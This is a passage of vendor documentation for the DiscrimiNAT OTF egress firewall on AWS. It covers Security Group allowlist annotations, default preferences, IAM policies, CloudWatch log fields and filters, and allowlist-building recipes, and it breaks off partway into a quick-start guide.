# DiscrimiNAT OTF > DiscrimiNAT OTF documentation for AWS and GCP Version: 2.50.0 This file contains all documentation content in a single document following the llmstxt.org standard. ## DiscrimiNAT OTF on AWS Configuration Reference # Config Reference With DiscrimiNAT, the Security Groups attached to the applications that need filtered access to the Internet can be annotated with the set of allowed FQDNs. This allows creating **least privilege egress policies** from the protected workload to the Internet. No need to create VPC-wide allowlists that allow discrete applications access to what they needn't. Refer to [allowlist docs](/docs/discriminat/aws/default-prefs/) under Default Preferences if you'd rather go down this route. :::tip DiscrimiNAT's own Security Groups need not be altered. ::: On this page, we cover the syntax for the Cloud-native Security Groups' **description** fields, where the annotations live. ### See-Thru mode The `see-thru` mode is a non-blocking configuration that allows one to [build an appropriate allowlist 🎥](/docs/discriminat/aws/logs-ref/#building-an-allowlist-from-scratch-video-version) up to a specified date. The annotation is added to the description fields of **outbound rules of protected applications to-be**. #### Syntax `discriminat:see-thru:YYYY-mm-dd` :::caution The rule will automatically stop working **after** the `YYYY-mm-dd` date. ::: #### Examples `discriminat:see-thru:2026-12-31` `discriminat:see-thru:2026-09-09` Configuring this mode in the **AWS web console** would look like: ![](img/aws-see-thru-security-group-example.png) In **Terraform**, this would be along the lines of: ``` resource "aws_security_group" "some-app" { name = "monitor-some-app" vpc_id = var.vpc_id egress { from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = ["0.0.0.0/0"] description = "discriminat:see-thru:2026-12-31" } } ``` #### Ports Only in the case of protocol set to TCP, a port range can also be specified in the Security Group Rule for the see-thru mode. If it is, the see-thru mode only applies to TCP packets egressing to that port range and not other ports. Multiple such Security Group Rules with different port ranges may be set, though. If a port range is not set, the see-thru mode applies to all ports. #### Logs The **flow** logs stream under the DiscrimiNAT log group in CloudWatch will have three additional fields for traffic from any workload that has a Security Group attached with a `see-thru` Rule in it: 1. `see_thru_exerted`: **true** when no `tls` or `ssh` protocol rules allowed this connection through and it's only because of the `see-thru` rule that the connection has been let through. **false** when an already present `tls` or `ssh` protocol rule would otherwise allow this connection through. The rest of the fields in the log line remain as they would without the `see-thru` rule, hence indicating which `tls` or `ssh` protocol rule matched to let this connection through. 1. `see_thru_gid`: The Security Group ID where the enacted `see-thru` was found. 1. `see_thru_days_remaining`: The number of remaining days this rule will continue to work. Runs into negative if the current date goes past the specified date. These log fields are still emitted if a `see-thru` rule with any date, past or future, remains specified. ### TLS and SSH mode The `tls` and `ssh` modes are a blocking configuration that will only allow FQDNs set out in the allowlist. Destination protocols, [FQDNs](https://en.wikipedia.org/wiki/Fully_qualified_domain_name) and IP Addresses are added to the description fields of **outbound rules of the protected applications**. :::caution If transitioning from a `see-thru` rule, note that `tls` and `ssh` rules **require a specific port number** to be specified in the Security Group Rules. ::: #### Syntax `discriminat::` ([ARN variant](#arn-variant)) `discriminat::[,,]` ([Inline variant](#inline-variant)) - Valid protocols are `ssh` and `tls` only. - There can be other text leading and trailing this specification, separated by whitespace. - All of it is case insensitive, except the ARN if specified. - [Wildcards](/docs/discriminat/aws/default-prefs/#wildcard_exposure) are only supported for the TLS protocol. :::caution **Please familiarise yourself with [operation and caveats](/blog/wildcards-and-system-2-thinking/#operation) on the behaviour of wildcard rules before using them.** ::: #### ARN variant - The \ is the full ARN of an SSM Parameter or a Secret. It can be in another AWS Account and/or Region as well, as long as DiscrimiNAT's IAM Instance Profile has [permissions](/docs/discriminat/aws/iam-instance-profile/) to read it. - If using our Terraform modules, consider adding the full ARNs of SSM Parameters to the `iam_get_additional_ssm_params` list variable and of Secrets to the `iam_get_additional_secrets` list variable to automatically update the IAM Instance Profile with requisite _Get_ permissions. - The JSON format for list of FQDNs and IP Addresses in the payload of an SSM Parameter or a Secret is: ```json { "addrs": [ "fqdn1.com", "*.github.com", "203.0.113.9", "smtp.zoho.eu:465", "smtp-hve.office365.com:587", ... ] } ``` ##### Examples If the above payload were to be stored in an SSM Parameter called `team-foo-allowed-fqdns`, its full ARN could be `arn:aws:ssm:eu-west-2:111111111111:parameter/team-foo-allowed-fqdns`. Therefore, what goes in description field will be: `discriminat:tls:arn:aws:ssm:eu-west-2:111111111111:parameter/team-foo-allowed-fqdns` And if in a Secret: `discriminat:tls:arn:aws:secretsmanager:eu-west-2:111111111111:secret:service-foo-allowed-fqdns` Configuring this variant in the **AWS web console** would look like: ![](img/aws-arn-security-group-example.png) #### Common constraints to both variants - Under `Type`, choose any TCP protocol type and **specify exactly one port number** in `Port range`. To use another port for an alternative set of addresses, simply create another Security Group Rule with that port number. See the [Connecting to MS/Azure SQL Server over TLS](/docs/how-to/tls-upgrade/sql-server/#on-aws) guide for an example. - For your typical **HTTPS** outbound connection, the port number would be `443`. - A typical **SFTP** connection has the port number of `22`. - **Kafka** typically, as another example, is on port `9092`. - `Destination` must be set to the narrowest IP block you can think of. Now if you don't have anything narrower than `0.0.0.0/0` that is absolutely fine! The firewall takes care of validating the destination IP address of actual packets in many ways, but the outbound rule at the AWS networking and security level must allow the packet to leave the protected workload at all. **`0.0.0.0/0` is a safe choice with DiscrimiNAT OTF in the way.** - Should you wish to use the same port number again with a different Rule, set the destination to `0.0.0.0/1` or `0.0.0.0/2` or `0.0.0.0/3` and so on. - Multiple such Rules can be added to one Security Group and all of them will be recognised. - In the JSON input format, a port override can be specified for an FQDN in the conventional format: `:`. For example, `cluster1.kafka4u.net:9092`. The Security Group attached to the workload should, however, also allow this outbound TCP port for this to work. :::tip You can attach multiple Security Groups to EC2 instances. It's a great way to bunch together related FQDNs. ::: #### Inline variant - There can be as many FQDNs and IP Addresses as you can fit separated by commas. There cannot be whitespace, though. - Multiple Security Groups can be created to accommodate more addresses, or group them by some criteria. - Alternatively, multiple outbound Rules within the same Security Group can be created with destination CIDRs varying like `0.0.0.0/0`, `0.0.0.0/1`, `0.0.0.0/2` and so on. ##### Examples - `DiscrimiNAT:TLS:api.foo.example.com,downloads.example.net,203.0.113.9` - `DiscrimiNAT:SSH:sftp.txs.example.org,ssh.github.com` - `discriminat:tls:api-v_.example.com discriminat:tls:www.example.org` - `lorem ipsum discriminat:ssh:ssh.github.com,gitlab.com,203.0.113.9 dolor sit amet` Configuring this variant in the **AWS web console** would look like: ![](img/aws-inline-security-group-example.png) In **Terraform**, this would be along the lines of: ``` resource "aws_security_group" "acme" { name = "acme-reports-upload" vpc_id = var.vpc_id egress { from_port = 443 to_port = 443 protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] description = "discriminat:tls:api.acme.com,auth.acme.com,203.0.113.9,foo.example.com,bar.example.net" } } ``` ### Default Allowlist Refer to [allowlist docs](/docs/discriminat/aws/default-prefs/) under Default Preferences. ### Complete Bypass If you would like to discuss alternate protocols or know how to completely bypass DiscrimiNAT whilst still routing traffic, get in touch with our [DevSecOps Support](/support/) to discuss the best option for your use case. --- ## DiscrimiNAT OTF on AWS Default Preferences # Default Preferences From v2.9.0 of DiscrimiNAT, certain behavioural preferences can be set at global level per deployment. These are defined in JSON format in an SSM Parameter named `DiscrimiNAT` (or `DiscrimiNAT_`) (case-sensitive) and the default value if not defined or not accessible is: ```json { "%default": { "allowlist": { "tls": null, "ssh": null }, "wildcard_exposure": "prohibit_public_suffix", "flow_log_verbosity": "full", "see_thru": null, "x509_crls": "ignore", "starttls": { "smtp": { "posture": "closed", "ehlo_entropy_limit": 0 } } } } ``` :::tip Preferences you wish to leave at defaults can be excluded. Also, any additional JSON keys will simply be ignored. ::: :::caution Preferences are refreshed **once every five minutes** from the SSM Parameter. ::: ## Preferences ### allowlist This JSON key is the parent for nested, protocol-specific default allowlists. A default allowlist is a list of allowed addresses that applies to workloads not discovered by DiscrimiNAT or that have no Security Group level allowlist specification. The only protocols supported at this time are `tls` and `ssh`. #### Default `"allowlist":{"tls":null,"ssh":null}` ### allowlist.tls This nested key under `allowlist` sets the default list of allowed addresses (FQDNs or IP addresses) over the TLS protocol, on port 443 unless overridden, for all workloads. The value is supposed to be the full ARN of an SSM Parameter or a Secret containing a list of addresses. See the [ARN variant docs](/docs/discriminat/aws/config-ref/#arn-variant) for more. #### Example `{"tls":"arn:aws:ssm:eu-west-2:111111111111:parameter/foo-default-allowed-fqdns"}` ### allowlist.ssh Same as `tls` above but for the SSH protocol, and on port 22 unless overridden. ### wildcard_exposure Generally, `?` represents one character match exactly which isn't a `.`, and `*` matches any number of characters except `.`. #### Options `none`: no wildcard characters such as `?` or `*` are allowed at all `prohibit_asterisk`: `?` is allowed; `*` is not allowed `prohibit_public_suffix`: `?` is allowed; `*` is allowed as long as the possibility of resulting domain names are not publicly registrable (aka Effective TLDs). For example, `*.github.com` is okay but `*.github.io` is not. Another example would be `*.cloudflare.net` being effectively public. This is determined using [Mozilla's Public Suffix List (PSL)](https://publicsuffix.org/) bundled into DiscrimiNAT. The version of the PSL bundled will be in the [Release Notes](/docs/discriminat/aws/release-notes/) and will be updated with every release. :::tip If a wildcard pattern is not accepted because it could have led to a Public Suffix List match, a _config_ log message like the following will be emitted: ``{addr: "*.github.io", cat: "addr", outcome: "publicsuffix[.]org list matched with `github.io`"}`` ::: `nuclear`: `?` is allowed; `*` is allowed with no public suffix list safeguard #### Default `prohibit_public_suffix` ### flow_log_verbosity This setting only impacts the _flow_ logs. _config_ logs verbosity and behaviour will not be affected. #### Options `full`: all _allowed_ and _disallowed_ flows for both the client requests and the server responses are logged in the _flow_ logs `only_disallowed`: only _disallowed_ flows will be logged `none`: no logs at all #### Default `full` ### see_thru The `see_thru` non-blocking, monitoring mode can be enabled for an entire deployment rather than per Security Group from this level. This is only the default and does not override a _see-thru_ mode defined at a more granular level – even if the one at the granular level may have expired. :::tip See [see-thru](/docs/discriminat/aws/config-ref/#see-thru-mode) mode docs for understanding this non-blocking, monitoring mode in detail. ::: #### Options `yyyy-mm-dd` formatted date `null` to not enable _see_thru_ at the default level. `null` value to be specified without quotes or this top-level key can be left out completely. #### Default `null` ### x509_crls #### Options `auto_allow`: Automatically allow plaintext HTTP CRL Endpoints of x509 SSL certificates for all TLS FQDNs allowlisted. `ignore`: Do not allow CRL Endpoints automatically. #### Default `ignore` ### starttls This JSON key is the parent for nested, protocol-specific StartTLS preferences. The only StartTLS protocol supported at this time is `smtp`. #### Default `"smtp":{"posture":"closed","ehlo_entropy_limit":0}` ### starttls.smtp :::tip See the [StartTLS SMTP](/docs/how-to/starttls/smtp/) guide for safely enabling this capability. ::: This nested key under `starttls` controls the posture and limits for the SMTP protocol's StartTLS commands, i.e. the plaintext communication before the connection upgrades to TLS. #### Default `{"posture":"closed","ehlo_entropy_limit":0}` ### starttls.smtp.posture This nested key under `starttls.smtp` sets the deployment-wide posture for DiscrimiNAT to let StartTLS SMTP plaintext commands pass through or not. This includes messages received from an SMTP server beginning with `220` and `250`, and messages sent by a client beginning with `EHLO` and `STARTTLS`. #### Options `closed`: StartTLS SMTP plaintext commands are not allowed. `open`: StartTLS SMTP plaintext messages received from an SMTP server beginning with `220` and `250`, and messages sent by a client beginning with `EHLO` and `STARTTLS` are allowed. #### Default `closed` ### starttls.smtp.ehlo_entropy_limit This nested key under `starttls.smtp` sets the deployment-wide Shannon Entropy limit of the argument to the `EHLO` command in `EHLO` messages sent by any client to the Internet. For example, in the StartTLS command `EHLO mail.example.com\r\n`, the argument is `mail.example.com` of which the Shannon Entropy is `3.20`. `EHLO` messages sent by a client exceeding this limit will be disallowed by DiscrimiNAT. Shannon Entropy is rounded to two decimal places with the [MidpointAwayFromZero strategy](https://docs.rs/rust_decimal/latest/rust_decimal/enum.RoundingStrategy.html#variant.MidpointAwayFromZero). For example, `3.2028` becomes `3.20`, `3.25` remains `3.25` and `3.256` becomes `3.26`. You can calculate the Shannon Entropy of any text input using [GCHQ's CyberChef Entropy tool set to the Shannon scale](https://gchq.github.io/CyberChef/#recipe=Entropy('Shannon%20scale')). [Shannon Entropy is a measure of the average amount of information contained in a message](https://jollycontrarian.com/index.php/Shannon_entropy). It can range from 0 to 8, where the higher the number the more 'information' it can pack by the way of encoding. :::caution Higher numbers can be indicative of exfiltration via the EHLO argument. See the [StartTLS SMTP](/docs/how-to/starttls/smtp/) guide for safely enabling this capability. ::: #### Range Minimum: `0.00` Maximum: `8.00` #### Default `0` ## Examples It may be useful to turn on the non-blocking, monitoring `see_thru` mode on until a specified date on a new deployment of DiscrimiNAT. This would ensure apps continue to work while data is captured for building an allowlist from eventually: `{"%default":{"see_thru":"2026-11-19"}}` :::tip Also see [building an allowlist from scratch video recipe](/docs/discriminat/aws/logs-ref/#building-an-allowlist-from-scratch-video-version). ::: Ultimately, when allowlists are built and enforced, you may want to turn off _flow_ logs for _allowed_ connections, saving on logging costs: `{"%default":{"flow_log_verbosity":"only_disallowed"}}` To also enable automatic allowing of X509 CRL Endpoints: `{"%default":{"flow_log_verbosity":"only_disallowed","x509_crls":"auto_allow"}}` ## System System-level preferences are passed directly to VM instance creation, are stored as files on the operating system disk, and are only read on start. These are placed within the instance because they represent critical customer choices that must be respected whether external APIs are accessible or not and the right IAM permissions on the profile are assigned or not. ### BYOL A licence key supplied by Chaser Support if using the [BYOL version](https://aws.amazon.com/marketplace/pp/prodview-7hafqjdkvnfyk) from AWS Marketplace. The pay as you go version does not require this. The value can be passed to the `byol` variable in our [Terraform modules](https://registry.terraform.io/namespaces/ChaserSystems) and [CloudFormation templates](https://github.com/orgs/ChaserSystems/repositories?q=cloudformation). The contents are Base64 decoded and written to the path `/etc/chaser/licence-key.der`. ### ASHR Automated System Health Reporting. 10 minutes after boot and then at around 0200 UTC every day, each instance of DiscrimiNAT collects its OS internals & system logs since instance creation, config changes & traffic flow information from last two hours and uploads it to a Chaser-owned cloud bucket. This information is encrypted at rest with a certain public key so only relevant individuals with access to the corresponding private key can decrypt it. The transfer is encrypted over TLS. Access to this information is immensely useful to create a faster and more reliable DiscrimiNAT as we add new features. We also get to learn about how users interact with the product in order to further improve the usability of it as they embark on a very ambitious journey of fully accounted for and effective egress controls. We understand if certain environments within your deployment would rather not have this turned on. To disable it, a file at the path `/etc/chaser/disable_automated-system-health-reporting` should exist. This can be achieved by setting the `ashr` variable to `false` in our [Terraform modules](https://registry.terraform.io/namespaces/ChaserSystems). --- ## Deploy DiscrimiNAT OTF on AWS with Terraform or CloudFormation # IaC & Terraform :::info Ensure you've visited our [marketplace page](https://aws.amazon.com/marketplace/pp/prodview-7ulmdnoq5jnwu) and accepted the terms & conditions, and any private offers you may have been extended for your AWS account, first. ::: ## IMAGE IDENTIFIERS | key | value | | ------------ | ------------------------- | | owner-alias | aws-marketplace | | product-code | bz1yq0sc5ta99w5j7jjwzym8g | | architecture | x86_64 | These filters will result in all the historic versions too. The _latest_ among these is recommended. ### BYOL In case you have a licence key from us, there's a [dedicated BYOL marketplace page](https://aws.amazon.com/marketplace/pp/prodview-7hafqjdkvnfyk) to accept the terms at, and product-code: `a7z5gi2mkpzvo93r2e8csl2ld` . ## TERRAFORM MODULES You may want to consider our fully-working [modules at the Terraform Registry](https://registry.terraform.io/modules/ChaserSystems), which include **preconfigured high availability, load balancing and auto scaling**. The examples within extend from the canonical [terraform-aws-modules/vpc/aws](https://registry.terraform.io/modules/terraform-aws-modules/vpc/aws) module at the registry. :::info Contact us for expert help at `devsecops@chasersystems.com` at any stage of your journey – we'll jump on a screen-sharing call right away! ::: ## CLOUDFORMATION Equivalent CloudFormation templates are available on [our GitHub profile](https://github.com/orgs/ChaserSystems/repositories?q=cloudformation). ## DEPLOYMENT ESSENTIALS For effective functioning, DiscrimiNAT OTF will need: 1. A machine type with at least 2 vCPU and 2 GiB RAM. A `t3.small` should suffice where throughput requirements are basic and allowlists small. Otherwise a `c6a.large` (or `c6i.large`) makes a good choice for constant throughput. [Talk to our DevSecOps](/support) to get the sizing right! 1. An IAM policy that can read some EC2 metadata, write logs and set instance health (of itself). See the [IAM Instance Profile](../iam-instance-profile/) page for details. 1. Ability to forward IP packets with the `SourceDestCheck` property of the network interface turned off. 1. A public IP with routing to the Internet via the AWS supplied Internet Gateway. ## aws CLI EXAMPLE #### Lookup ```plaintext aws ec2 describe-images \ --query \ 'sort_by(Images, &CreationDate)[-1].ImageId' \ --filters \ "Name=owner-alias,Values=aws-marketplace" \ "Name=product-code,Values=bz1yq0sc5ta99w5j7jjwzym8g" \ "Name=architecture,Values=x86_64" \ --no-cli-pager --output text ``` --- ## DiscrimiNAT OTF on AWS IAM Instance Profile # IAM Instance Profile DiscrimiNAT OTF requires certain permissions to work effectively and these are included with our CloudFormation templates & Terraform modules. The following sections describe these in more detail for your review. ## TL;DR The following policy document is taken from our [Terraform module](https://registry.terraform.io/modules/ChaserSystems/discriminat-gwlb/aws/) and enables DiscrimiNAT for all its functions. ```json { "Statement": [ { "Action": [ "logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents", "logs:DescribeLogStreams" ], "Effect": "Allow", "Resource": [ "arn:aws:logs:*:*:log-group:DiscrimiNAT:log-stream:*" ] }, { "Action": [ "ec2:DescribeNetworkInterfaces", "ec2:DescribeSecurityGroups", "ec2:DescribeAddresses" ], "Effect": "Allow", "Resource": "*" }, { "Action": [ "ssm:GetParameter" ], "Effect": "Allow", "Resource": [ "arn:aws:ssm:*:*:parameter/DiscrimiNAT*" ] }, { "Action": [ "ec2:ModifyInstanceAttribute", "ec2:AssociateAddress" ], "Condition": { "Null": { "aws:ResourceTag/discriminat": false } }, "Effect": "Allow", "Resource": "*" } ], "Version": "2012-10-17" } ``` ## LOGGING The DiscrimiNAT automatically logs config & flow events to CloudWatch. The following statement allows its instances to create and write to a log group called `DiscrimiNAT`. ```json { "Effect": "Allow", "Action": [ "logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents", "logs:DescribeLogStreams" ], "Resource": [ "arn:aws:logs:*:*:log-group:DiscrimiNAT:log-stream:*" ] } ``` ## ALLOWLIST CONFIG To form a complete picture of the VM instances and any serverless workloads in the VPC, such as Lambda, and their associated Security Groups' Rules, the DiscrimiNAT needs read access to these resources. ```json { "Effect": "Allow", "Action": [ "ec2:DescribeNetworkInterfaces", "ec2:DescribeSecurityGroups" ], "Resource": "*" } ``` Allowlists may further be stored as Parameters in SSM or as Secrets in Secrets Manager. The following two examples may be used to allow DiscrimiNAT to read in the configuration stored in these. ```json { "Action": [ "ssm:GetParameter" ], "Effect": "Allow", "Resource": [ "arn:aws:ssm:eu-west-2:111111111111:parameter/team-foo-allowed-fqdns", "arn:aws:ssm:eu-west-2:111111111111:parameter/service-foo-allowed-fqdns" ] } ``` ```json { "Action": [ "secretsmanager:GetSecretValue" ], "Effect": "Allow", "Resource": [ "arn:aws:secretsmanager:eu-west-2:111111111111:secret:team-foo-allowed-fqdns", "arn:aws:secretsmanager:eu-west-2:111111111111:secret:service-foo-allowed-fqdns" ] } ``` ## DEFAULT PREFERENCES Global level, behavioural [preferences](/docs/discriminat/aws/default-prefs/) are stored in an SSM Parameter named DiscrimiNAT. To allow for some creative flexibility with other Parameters that you may conceive prefixed with the word DiscrimiNAT (to store allowlists), a trailing wildcard to the name has been included in the supplied IAM Policy. ```json { "Action": [ "ssm:GetParameter" ], "Effect": "Allow", "Resource": [ "arn:aws:ssm:*:*:parameter/DiscrimiNAT*" ] } ``` ## ELASTIC IPs If a Public IP is not found attached to a DiscrimiNAT instance, it will look for any allocated but unassociated Elastic IPs that have a tag-key named `discriminat` set to the value of the same tag-key as on itself, else anything but blank. One of such Elastic IPs will be attempted to be associated with itself then. :::tip This allows you to have a stable set of static IPs to share with your partners, who may wish to allowlist them. ::: ```json { "Effect": "Allow", "Action": [ "ec2:DescribeAddresses" ], "Resource": "*" }, { "Effect": "Allow", "Action": [ "ec2:AssociateAddress" ], "Resource": "*", "Condition": { "Null": { "aws:ResourceTag/discriminat": false } } } ``` ## NAT Since the DiscrimiNAT NATs (is the clue in the name?), it needs [Source/Destination checks disabled](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_NAT_Instance.html#EIP_Disable_SrcDestCheck). Sadly, this property cannot be set in the Launch Template of an Auto Scaling Group. Therefore, the DiscrimiNAT sets this property to the desired value of _false_ on boot. The DiscrimiNAT instances themselves are tagged with the key `discriminat` to limit the scope of this permission. ```json { "Effect": "Allow", "Action": [ "ec2:ModifyInstanceAttribute" ], "Resource": "*", "Condition": { "Null": { "aws:ResourceTag/discriminat": false } } } ``` ## SELF-HEAL :::info This permission is only applicable and present in the ENI [architecture](/docs/discriminat/aws/reference-architectures/), where a load balancer conducting health checks is absent. It is absent and not needed in an [architecture](/docs/discriminat/aws/reference-architectures/) with the Gateway Load Balancer (GWLB). ::: The DiscrimiNAT monitors its own health in an Auto Scaling Group. To report bad health to the platform, so the instance can be recycled, it needs a specific permission. It is restricted to Auto Scaling Groups with an expected name. ```json { "Effect": "Allow", "Action": "autoscaling:SetInstanceHealth", "Resource": "arn:aws:autoscaling:*:*:autoScalingGroup:*:autoScalingGroupName/discriminat-*" } ``` --- ## DiscrimiNAT OTF on AWS ### [IaC & TERRAFORM ➜](/docs/discriminat/aws/iac/) If you require complex or custom routing, and have Infrastructure-as-Code for your deployments already, this is where you will find key information. ### [CONFIG REFERENCE ➜](/docs/discriminat/aws/config-ref/) The various ways AWS-native Security Groups can be annotated with appropriate FQDN allowlists and traffic monitoring rules after deployment of DiscrimiNAT. ### [DEFAULT PREFERENCES ➜](/docs/discriminat/aws/default-prefs/) Global level preferences for controlling logs verbosity, wildcards exposure and monitoring mode. ### [LOGS REFERENCE ➜](/docs/discriminat/aws/logs-ref/) Fields, filters and recipes to find what you need from DiscrimiNAT's config and flow logs in AWS CloudWatch. ### [REFERENCE ARCHITECTURES ➜](/docs/discriminat/aws/reference-architectures/) DiscrimiNAT OTF supports three deployment topologies: **GWLB Cross-Zone**, **GWLB Intra-Zone** and **ENI per AZ**. See their high-level diagrams and read more about their non-functional properties such as the RTO. ### [QUICK START (from Marketplace) ➜](/docs/discriminat/aws/quick-start/) For a 5-minute deployment, assuming secure defaults, from within the marketplace console itself. This will totally lock down the private subnets in your VPC from the get-go unless monitoring mode or appropriate FQDN-based egress firewall rules exist for outbound connections. --- ## DiscrimiNAT OTF on AWS Logs Reference # Logs Reference ## Fields ### flow logs Flow Logs can be found in CloudWatch under the `DiscrimiNAT` log group, in the `flow` log stream. A typical flow log looks like: ![](img/typical-cloudwatch-flow-log-from-discriminat.png) Here's a summary of the possible fields: `dhost`: destination hostname/FQDN or IP Address `cat`: packet origin – client or server `outcome`: allowed or disallowed `src`: source IP address `spt`: source port `proto`: tls, ssh, http or unknown protocol `proto_v`: version of the identified protocol `dst`: destination IP address `dpt`: destination port `reason`: reason for the outcome – such as in which Security Group was a matching protocol rule found, cache not ready yet for a newly discovered allowlist entry, or which protocol anomaly led to the connection being disallowed `instance`: the EC2 instance ID of the DiscrimiNAT instance this log line was generated from `pqc`: indicates if a TLS handshake used a known [PQC TLS Supported Group](https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#tls-parameters-8). The value may be true or false in case of TLS; or absent in the case of SSH `dump`: diagnostic data sometimes emitted; usually base64 encoded and useful for engaging with support `entropy`: Shannon Entropy rounded to 2 decimal places if applicable and calculated; see the [StartTLS SMTP docs](/docs/how-to/starttls/smtp/) for more If X.509 CRLs are [set to be allowed](/docs/discriminat/aws/default-prefs/#x509_crls), or if there is some plaintext HTTP egress traffic with requisite outbound ports open, there may be HTTP flow logs with the following fields. Note that HTTP is generally not allowed unless X.509 CRLs were allowed and the requested URL was of a CRL Endpoint. `http_code`, `http_method`, `http_path`, `http_user_agent`: these fields can be useful to understand which application the plaintext HTTP traffic is originating from And if a Security Group with a `see-thru` rule in it is found attached to a client application, the following fields will be also present: `see_thru_days_remaining`: number of days remaining while the `see-thru` rule will be non-blocking, as defined in the `see-thru` rule itself `see_thru_gid`: the Security Group ID where the `see-thru` rule was found, or _%default_ if set via [preferences](/docs/discriminat/aws/default-prefs/#see_thru) `see_thru_exerted`: when _true_, the `see-thru` rule had to let this connection through and there was no protocol rule that would have allowed it; when _false_, there was a protocol rule that would have let the connection through anyway and its presence will be identified in the `reason` field; or the `see-thru` rule has expired Watch this **4 minute video** to understand these three fields, and their interplay with the `outcome` field, when viewed in the Cloud web console. Config reference for the `see-thru` rules can be found [here](/docs/discriminat/aws/config-ref#see-thru-mode). ### config logs Config Logs can be found in CloudWatch under the `DiscrimiNAT` log group, in the `config` log stream. They form an audit trail of changes made to rules and Security Group attachments as clients come and go. Here's a summary of the possible fields: `cat`: fqdn (addr), wildcard pattern (wildcard-addr), client, see-thru or self change category `outcome`: accepted something new in the internal configuration, removed something because it had been removed from external configuration sources, or rejected something (because of reason), or warning about a syntactically correct configuration input but one which wasn't going to work as expected (because of reason) `client`: IP address of an affected client `subnet`: block of IP addresses in the `a.b.c.d/e` notation of an affected subnet (mutually exclusive with `client`) `gid`: the Security Group ID that relates to this change `addr`: the FQDN, wildcard pattern or IP Address found in a Security Group rule `proto`: tls or ssh protocol as identified in the rule `port`: the port as identified in the protocol rule `from_port`: the minimum, inclusive port if a port range is specified in a see-thru rule `to_port`: the maximum, inclusive port if a port range is specified in a see-thru rule `reason`: reason for usually a warning or a rejected outcome `instance`: the EC2 instance ID of the DiscrimiNAT instance this log line was generated from If X.509 CRLs are [set to be allowed](/docs/discriminat/aws/default-prefs/#x509_crls) there will be an additional field: `http_path`: the document path over HTTP for CRL data And if a Security Group with a `see-thru` rule in it is found attached to a client application, there will be an additional field: `thru_date`: the date until which the non-blocking `see-thru` mode should remain effective; past this date such a rule would lose effect ## Filters The log lines are JSON-structured so each field can be addressed specifically. More of CloudWatch syntax can be explored on its [Filter and pattern syntax page](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html). #### _disallowed_ connections `{ $.outcome = "disallowed" }` #### _allowed_ but protocol is not TLS `{ $.outcome = "allowed" && $.proto != "tls" }` #### connections from a specific client where the destination host is not api.github.com `{ $.cat = "client" && $.src = "172.16.1.9" && $.dhost != "api.github.com" }` #### security groups where the see-thru mode exception has only 2 or less days left `{ $.see_thru_days_remaining <= 2 }` #### connections where the see-thru mode had to be used, but not for perhaps telemetry data `{ $.see_thru_exerted is true && $.dhost != "ec2-instance-connect.*" }` ## Recipes ### building an allowlist from scratch (video version) Watch this **3½ minute video** to build the allowlists super quick! The two commands used in the video are also documented here, underneath the video. Command 1: ``` aws logs filter-log-events --output json --no-paginate --log-group-name DiscrimiNAT --log-stream-names flow --filter-pattern '{$.dhost != "" && $.see_thru_gid = '$SECURITY_GROUP_ID' && $.see_thru_exerted is true}' --start-time $(date --date '2 hours ago' +%s000) | jq '[.events[].message | fromjson]' | dd of=frequency-fqdns.json ``` Command 2: ``` cat frequency-fqdns.json | jq --raw-output 'group_by(.dhost) | map(.[0] + {"count": length}) | sort_by(.count) | reverse | [.[].dhost] | @csv' | tr --delete '"' ``` ### building an allowlist from scratch (text version) :::info This method is now deprecated in favour of the CloudShell based method above. ::: 1. Create a new Security Group, with a `see-thru` rule in it. See the config reference and an example [here](/docs/discriminat/aws/config-ref#see-thru-mode). Give it a thru date sufficient enough to capture all stages of the application's lifecycle, such as deployment, restart, the occasional uploading of reports, telemetry, monitoring, etc. Note the Security Group ID. 2. Attach this Security Group to the application. In AWS this could be either attaching the Security Group to the EC2 instances in addition to other attachments, or in the case of serverless workloads, to the Network Interface (ENI) that is in the VPC. 3. Let the application follow its normal course of lifecycle. This could last a few hours, days or weeks depending on the application. 4. Go to **CloudWatch Log Insights** and select the DiscrimiNAT log group. Then enter the following query, select an appropriate time range, and run it. _Note: You'll have to replace the Security Group ID in this example with the one that was created above._ ``` filter see_thru_exerted AND see_thru_gid = "sg-00replaceme00" | stats count() by see_thru_exerted, see_thru_gid, dhost, proto, dpt ``` This will produce a table of results like: ![](img/recipe-discovering-rules-to-be-made.png) 5. From the information in the results table, specific allowlist protocol rules can be created. For example: `discriminat:tls:ec2.us-west-2.amazonaws.com,ssm.us-west-2.amazonaws.com` and `discriminat:tls:api.github.com` with protocol TCP and destination port 443. ![](img/egress-fqdn-rule-made-from-log-metrics-of-see-thru-mode.png) Full reference for creating these protocol rules is [here](/docs/discriminat/aws/config-ref#tls-and-ssh-mode). 6. Once these protocol rules are attached to the application, run the full application lifecycle again, and then the query at #4 to ensure that `see_thru_exerted` did not have to be used to let any disallowed traffic through. There may be the case where you choose to disallow certain destinations anyway, such as endpoints that just collect telemetry data. 7. Detach or remove the `see-thru` rule from the application and give it another full lifecycle run to ensure it works smoothly. --- ## DiscrimiNAT OTF on AWS Quick Start # Quick Start So you've heard about DiscrimiNAT, and would like to take it for a test drive? This is the page for you! Here you'll find easy instructions on how to deploy a brand new VPC in AWS, secured by [DiscrimiNAT OTF](/discriminat/) for egress traffic filtering right from the onset, and instructions on how to evaluate its capabilities in order to see if it fits your business needs. :::info Contact us for expert help at `devsecops@chasersystems.com` at any stage of your journey – we'll jump on a screen-sharing call right away! ::: --- ### i. MARKETPLACE SUBSCRIBE ![AWS Marketplace Subscription](img/01_subscribe.png) Proceed to our [AWS Marketplace page](https://aws.amazon.com/marketplace/pp/prodview-7ulmdnoq5jnwu) and click the **Continue to Subscribe** button. This step is entirely self-service. --- ![AWS Marketplace Subscription](img/01_accept-terms.png) You will need to press the **Accept Terms** button next and wait until it's ready for configuration. --- ![AWS Marketplace Subscription](img/01_subscribed.png) Once ready, do **not** proceed with the configuration, instead read on and press the **Launch Stack** button present in the next section here. --- ### ii. CLOUDFORMATION TEMPLATE – DEMO ENVIRONMENT :::tip If you have [deployed through Terraform](/docs/discriminat/aws/iac/#terraform-modules) or are considering, you may jump straight to [Configuring an Allowlist](#vi-configuring-an-allowlist). ::: Our self-service demo (using CloudFormation) includes a couple of instances to make it easy to evaluate the capabilities of DiscrimiNAT. Ensure you are logged into the AWS console and have selected the intended region for the demo before you click the following button. [![Launch 